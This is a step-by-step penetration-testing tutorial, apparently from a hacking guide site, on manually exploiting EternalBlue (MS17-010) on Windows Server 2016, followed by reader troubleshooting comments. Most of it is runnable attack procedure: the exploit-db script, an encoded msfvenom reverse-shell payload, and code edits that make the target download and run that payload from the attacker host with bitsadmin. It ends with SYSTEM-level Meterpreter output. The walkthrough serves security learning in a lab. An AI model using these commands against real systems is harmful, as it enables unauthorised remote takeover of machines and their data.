EternalBlue was a devastating exploit that targeted Microsoft's implementation of the SMB protocol. Metasploit contains a useful module that will automatically exploit a target, as long as it's vulnerable. But what if we wanted to exploit this vulnerability without Metasploit holding our hand? It can be done using a Python file to exploit EternalBlue manually.
I won't go into the whole spiel about what EternalBlue is, where the exploit came from, or how SMB works since I already did that in the previous guide on exploiting EternalBlue on Windows Server with Metasploit. So for more background information on what EternalBlue and SMB are and how to figure out if a target is vulnerable or not, make sure to check that out before continuing.
In this guide, we'll tackle the manual route of exploiting EternalBlue on Windows Server. I'll be using an unpatched copy of Windows Server 2016 Datacenter as the target, and evaluation copies can be downloaded from Microsoft if you want to follow along as we perform each step below.
Step 1: Set Up the Python-Based Exploit
The first thing we need to do is locate the exploit file. On Kali, we can use searchsploit in the terminal to search the database for a match.
searchsploit eternalblue
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Microsoft Windows Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) | exploits/windows/remote/42031.py
Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) | exploits/windows/remote/42315.py
Microsoft Windows Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010) | exploits/windows_x86-64/remote/42030.py
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------
Paper Title | Path
| (/usr/share/exploitdb-papers/)
------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------
How to Exploit ETERNALBLUE and DOUBLEPULSAR on Windows 7/2008 | docs/english/41896-how-to-exploit-eternalblue-
How to Exploit ETERNALBLUE on Windows Server 2012 R2 | docs/english/42280-how-to-exploit-eternalblue-
[Spanish] How to Exploit ETERNALBLUE and DOUBLEPULSAR on Windows 7/2008 | docs/spanish/41897-[spanish]-how-to-exploit-et
[Spanish] How to Exploit ETERNALBLUE on Windows Server 2012 R2 | docs/spanish/42281-[spanish]-how-to-exploit-et
------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------
The exploit we want is labeled 42315.py. In order to keep things tidy, let's create a directory to work out of.
mkdir exploit
Now we can copy the exploit file to our newly created directory.
cp /usr/share/exploitdb/exploits/windows/remote/42315.py /root/exploit/
Then, change into the directory and verify the file is present.
cd exploit/
ls
42315.py
Now we can take a look at the source code for more information about this particular exploit. This is quite a long file, so we can use the less command to view it from the top.
less 42315.py
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time
'''
MS17-010 exploit for Windows 2000 and later by sleepya
EDB Note: mysmb.py can be found here ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42315.py
Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''
USERNAME = ''
PASSWORD = ''
'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it
Note: method name is from NSA eternalromance
For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.
...
This exploit requires a valid named pipe (we'll get to this soon) and a valid set of credentials. These can be any other credentials from a user that has logged onto the target in the past, including guest accounts. The exploit will automatically upgrade us to a privileged account when it's run.
Before we go any further, it is a good idea to make a copy of this file so we have access to the original source code. We can rename it exploit.py to keep it simple.
cp 42315.py exploit.py
ls
42315.py exploit.py
Now we can edit the Python file and enter a valid username and password to use.
Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''
USERNAME = 'user'
PASSWORD = 'password'
'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it
Save it, and now we can try to run the exploit.
python exploit.py
Traceback (most recent call last):
File "exploit.py", line 3, in <module>
from mysmb import MYSMB
ImportError: No module named mysmb
It looks like it is trying to import a module named mysmb, so in order for this to work, we need to download it. We can easily do that using wget.
wget https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py
--2019-03-26 11:25:44-- https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.148.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.148.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16669 (16K) [text/plain]
Saving to: ‘mysmb.py’
mysmb.py 100%[=====================================================================================================================>] 16.28K --.-KB/s in 0.03s
2019-03-26 11:25:44 (528 KB/s) - ‘mysmb.py’ saved [16669/16669]
Try running the file again and we get different output.
python exploit.py
exploit.py <ip> [pipe_name]
It looks like usage information now, which is a good sign. We need to plug in the IP address of our target and a pipe name as parameters.
Step 2: Find Named Pipe
Named pipes are a way for running processes to communicate with each other with very little overhead. Pipes usually appear as files for other processes to attach to. Metasploit has a scanner that will find any named pipes on a host. In a new terminal, type msfconsole to fire it up, then we can search for the scanner.
msfconsole
search pipe
Matching Modules
================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
auxiliary/admin/db2/db2rcmd 2004-03-04 normal No IBM DB2 db2rcmd.exe Command Execution Vulnerability
auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/dos/http/nodejs_pipelining 2013-10-18 normal Yes Node.js HTTP Pipelining Denial of Service
auxiliary/dos/windows/smb/ms06_063_trans normal No Microsoft SRV.SYS Pipe Transaction No Null
auxiliary/dos/windows/smb/rras_vls_null_deref 2006-06-14 normal No Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference
auxiliary/fuzzers/smb/smb_create_pipe normal No SMB Create Pipe Request Fuzzer
auxiliary/fuzzers/smb/smb_create_pipe_corrupt normal No SMB Create Pipe Request Corruption
auxiliary/scanner/smb/pipe_auditor normal Yes SMB Session Pipe Auditor
auxiliary/scanner/smb/pipe_dcerpc_auditor normal Yes SMB Session Pipe DCERPC Auditor
exploit/linux/misc/accellion_fta_mpipe2 2011-02-07 excellent No Accellion FTA MPIPE2 Command Execution
exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load
exploit/multi/http/mediawiki_syntaxhighlight 2017-04-06 good Yes MediaWiki SyntaxHighlight extension option injection vulnerability
exploit/multi/svn/svnserve_date 2004-05-19 average No Subversion Date Svnserve
...
The one we want is the pipe_auditor. Load the module with the use command.
use auxiliary/scanner/smb/pipe_auditor
You should see the "auxiliary(scanner/smb/pipe_auditor) > options" prompt. Now we can take a look at the options.
options
Module options (auxiliary/scanner/smb/pipe_auditor):
Name Current Setting Required Description
---- --------------- -------- -----------
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target address range or CIDR identifier
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
All we really need to do is specify the IP address of our target.
set rhosts 10.10.0.100
rhosts => 10.10.0.100
And then we can run the scanner.
run
[+] 10.10.0.100:445 - Pipes: \netlogon, \lsarpc, \samr
[*] 10.10.0.100: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
It looks like it found a few named pipes. Awesome.
Step 3: Run the Exploit File
Now we should be able to run the exploit file. Back in the first terminal from Step 1, where we're still in the exploit directory, use the target's IP address and one of the named pipes we found as parameters.
python exploit.py 10.10.0.100 netlogon
Target OS: Windows Server 2016 Standard Evaluation 14393
Target is 64 bit
Got frag size: 0x20
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xf90
CONNECTION: 0xffff928c5dc1e020
SESSION: 0xffffac016815e210
FLINK: 0xffffac0167062098
InParam: 0xffffac016705c16c
MID: 0x3303
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
creating file c:\pwned.txt on the target
Done
We can see some data spit out on the screen, and at the bottom, it says it created a text file on the target. If we take a peek at the target, we can see this was successful.
But we want to do more than just create a text file on the target. This is just a proof of concept, after all, so we will need to do a few more things to get this exploit fully functional.
Step 4: Serve the Payload
We're going to need a payload and a way for the exploit to get it and execute. For that, we can use MSFvenom to generate some shellcode, and we can serve it from our machine using Apache.
In a new terminal, use the following command to generate the payload and save it to a file named sc.exe in the default web root for the Apache server.
msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp lhost=10.10.0.1 lport=4321 -e x64/xor -i 5 -f exe -o /var/www/html/sc.exe
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0)
x64/xor succeeded with size 591 (iteration=1)
x64/xor succeeded with size 631 (iteration=2)
x64/xor succeeded with size 671 (iteration=3)
x64/xor succeeded with size 711 (iteration=4)
x64/xor chosen with final size 711
Payload size: 711 bytes
Final size of exe file: 7168 bytes
Saved as: /var/www/html/sc.exe
This is a long command, so let's break it down:
- The -a flag specifies the architecture as 64-bit.
- The --platform option sets the platform as Windows.
- The -p flag specifies the payload.
- lhost is our local machine to connect back to.
- lport is the local port to connect to.
- The -e flag specifies the encoder to use.
- The -i flag sets the number of iterations the encoder uses.
- The -f flag sets the format.
- The -o flag specifies the output file.
Now we can start the Apache server so the exploit can connect to our machine from the target to reach the payload. Next, we will tweak the code to fit our needs.
service apache2 start
Step 5: Modify the Code
Back in exploit.py, find the section of code near the bottom that looks like this:
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
with open(localSrc, 'rb') as fp:
smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
Here we can see the code that is responsible for connecting to the target and creating the text file. We can also see an interesting looking function called service_exec() which is commented out. That will connect to the target and issue a command to copy the previously created text file into a new text file named pwned_exec.txt on the C drive. We can use this function to grab our payload and execute it on the target.
First, uncomment the function and replace everything after cmd /c with the following command:
bitsadmin /transfer pwn /download http://10.10.0.1/sc.exe C:\sc.exe
BITSAdmin (Background Intelligent Transfer Service) is a Windows command-line tool used to upload or download files. The /transfer switch initializes a transfer (with the name pwn in this case) and /download specifies that it is a download. Then we enter the name of the remote file (being hosted on our machine) and the name of the local file once it's transferred.
Next, add another service_exec() function and have it execute the file we just transferred. The code will look like this:
service_exec(conn, r'cmd /c /sc.exe')
Finally, we can comment out the section that creates a text file, since we really don't need it anymore. The final code should look like this:
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
#print('creating file c:\\pwned.txt on the target')
#tid2 = smbConn.connectTree('C$')
#fid2 = smbConn.createFile(tid2, '/pwned.txt')
#smbConn.closeFile(tid2, fid2)
#smbConn.disconnectTree(tid2)
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
service_exec(conn, r'cmd /c bitsadmin /transfer pwn /download http://10.10.0.1/sc.exe C:\sc.exe')
service_exec(conn, r'cmd /c /sc.exe')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
with open(localSrc, 'rb') as fp:
smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
Now, all we have left to do now is run the exploit.
Step 6: Run the Finished Exploit
To complete the exploit, we need something to catch the shell once the payload executes. We can use the multipurpose handler in Metasploit for this. In a new terminal, use the following commands.
msfconsole
use exploit/multi/handler
You should see the "exploit(multi/handler)" prompt. We just need to set the payload to match whatever we specified when we created the shellcode earlier, which in this case is a reverse TCP shell.
set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
Next, set the appropriate listening host.
set lhost 10.10.0.1
lhost => 10.10.0.1
And the listening port.
set lport 4321
lport => 4321
And we can start the handler.
run
[*] Started reverse TCP handler on 10.10.0.1:4321
It will listen for any incoming connections, and if everything goes smoothly, we'll get a Meterpreter session once our exploit completes.
At last, we should have everything in place and ready to go. We can launch the exploit just like we did earlier in our test run from within the exploit directory.
python exploit.py 10.10.0.100 netlogon
Target OS: Windows Server 2016 Standard Evaluation 14393
Target is 64 bit
Got frag size: 0x20
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xf90
CONNECTION: 0xffff928c5dc48020
SESSION: 0xffffac0165773250
FLINK: 0xffffac0167056098
InParam: 0xffffac016705016c
MID: 0x2a07
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
Opening SVCManager on 10.10.0.100.....
Creating service Jepa.....
Starting service Jepa.....
SCMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - The service did not respond to the start or control request in a timely fashion.
Removing service Jepa.....
Opening SVCManager on 10.10.0.100.....
Creating service YTXT.....
Starting service YTXT.....
The NETBIOS connection with the remote host timed out.
Removing service YTXT.....
ServiceExec Error on: 10.10.0.100
nca_s_proto_error
Done
This time we should see different results. Ignore the errors, and if it doesn't work the first time, just try again. Once the exploit successfully completes, we should see a session open up back on our listener.
[*] Sending stage (206403 bytes) to 10.10.0.100
[*] Meterpreter session 1 opened (10.10.0.1:4321 -> 10.10.0.100:51057) at 2019-03-26 11:49:38 -0500
meterpreter >
We can verify we have compromised the target with the sysinfo command.
sysinfo
Computer : DC01
OS : Windows 2016 (Build 14393).
Architecture : x64
System Language : en_US
Domain : DLAB
Logged On Users : 4
Meterpreter : x64/windows
And the getuid command.
getuid
Server username: NT AUTHORITY\SYSTEM
And there we have it — a full Meterpreter session from manually exploiting EternalBlue.
Wrapping Up
In this tutorial, we covered how to manually exploit EternalBlue on Windows Server. We began by setting up a few things in order to get the proof of concept to work. Next, we generated some shellcode and hosted the payload on our machine. After that, we modified the code, launched the exploit, and successfully got a Meterpreter session on the target. Even though Metasploit contains a module to do all this automatically, it's beneficial to know how to do things the hard way, just in case something needs tweaking for a specific target or scenario.
Just updated your iPhone to iOS 18? You'll find a ton of hot new features for some of your most-used Apple apps. Dive in and see for yourself:
8 Comments
If i want to use the exploit.py it says. Help me please:
Traceback (most recent call last):
File "exploit.py", line 998, in <module>
exploit(target, pipe_name)
File "exploit.py", line 796, in exploit
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
File "/root/exploit/mysmb.py", line 152, in login
smb.SMB.login(self, user, password, domain, lmhash, nthash, ntlm_fallback)
File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 3382, in login
self.loginextended(user, password, domain, lmhash, nthash, usentlmv2 = False)
File "/root/exploit/mysmb.py", line 160, in login_extended
smb.SMB.loginextended(self, user, password, domain, lmhash, nthash, usentlmv2)
File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 3315, in login_extended
if smb.isValidAnswer(SMB.SMBCOMSESSIONSETUPANDX):
File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 717, in isValidAnswer
raise SessionError, ("SMB Library Error", self'ErrorClass' + (self'_reserved' << 8), self'ErrorCode', self'Flags2' & SMB.FLAGS2NTSTATUS, self)
impacket.smb.SessionError: SMB SessionError: STATUSLOGONFAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
It seems like bad logon information. Make sure you replace 'user' and 'password' with a valid username and password that has been logged onto the target, even if it is just a guest account.
after executing the exploit I get the following:
Target OS: Windows 7 Professional 7601 Service Pack 1
Target is 64 bit
Got frag size: 0x10
GROOMPOOLSIZE: 0x5030
BRIDETRANSSIZE: 0xfa0
CONNECTION: 0xfffffa80024d16a0
SESSION: 0xfffff8a007f0c060
FLINK: 0xfffff8a002616088
InParam: 0xfffff8a00261015c
MID: 0x2c03
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
Opening SVCManager on 10.11.1.75.....
Creating service amXo.....
Starting service amXo.....
The NETBIOS connection with the remote host timed out.
Removing service amXo.....
ServiceExec Error on: 10.11.1.75
Unexpected answer from server: Got 46, Expected 47
Done
Any ideas?
Did you still get a shell? Because these errors can occur but you should still be able to get a shell. The only thing I can think of off the top of my head after a quick Google search is make sure your impacket Python package is up to date. Otherwise, try again and it should work.
Is there an alternative to using bitsadmin to download the payload? I can't seems to get the bitsadmin service to start on the windows machine...
Sure, you could use PowerShell, VBScript, or even FTP, but you'd have to code it up and try it out - just replace whatever commands you are using after the r'cmd /c
I'm getting Error at pipe auditor
target machine is win7 vulnerable to EternalBlue.. How to solve this problem
This doesn't seem to work with Kali Rolling...
Have tried 'python exploit.py IP netlogon' and 'python3 exploit.py IP netlogon' and they both error out...
python2:msf6 auxiliary(scanner/smb/pipe_auditor) > python exploit.py 10.1.1.47 netlogon
* exec: python exploit.py 10.1.1.47 netlogon
Traceback (most recent call last):
File "exploit.py", line 2, in <module>
from impacket import smb, smbconnection
File "/usr/local/lib/python2.7/dist-packages/impacket/smb.py", line 54, in <module>
from impacket.krb5.gssapi import KRB5APREQ
File "/usr/local/lib/python2.7/dist-packages/impacket/krb5/gssapi.py", line 20, in <module>
from Cryptodome.Hash import HMAC, MD5
ImportError: No module named Cryptodome.Hash
Python3:
msf6 auxiliary(scanner/smb/pipe_auditor) > python3 exploit.py 10.1.1.47 netlogon
* exec: python3 exploit.py 10.1.1.47 netlogon
Target OS: Windows Server 2016 Datacenter 14393
Traceback (most recent call last):
File "/tmp/exploit/exploit.py", line 998, in <module>
exploit(target, pipe_name)
File "/tmp/exploit/exploit.py", line 834, in exploit
if not info'method'(conn, pipe_name, info):
File "/tmp/exploit/exploit.py", line 489, in exploitmatchedpairs
info.update(leakfragsize(conn, tid, fid))
File "/tmp/exploit/exploit.py", line 333, in leakfragsize
req1 = conn.createnttranspacket(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOMTRANSSIZE-0x10d0-TRANSNAME_LEN)
File "/tmp/exploit/mysmb.py", line 349, in createnttrans_packet
puttrans_data(transCmd, param, data, noPad)
File "/tmp/exploit/mysmb.py", line 73, in puttrans_data
transData = ('\x00' * padLen) + parameters
TypeError: can only concatenate str (not "bytes") to str
KALI:
+-# lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2021.2
Codename: kali-rolling
Please help...
Share Your Thoughts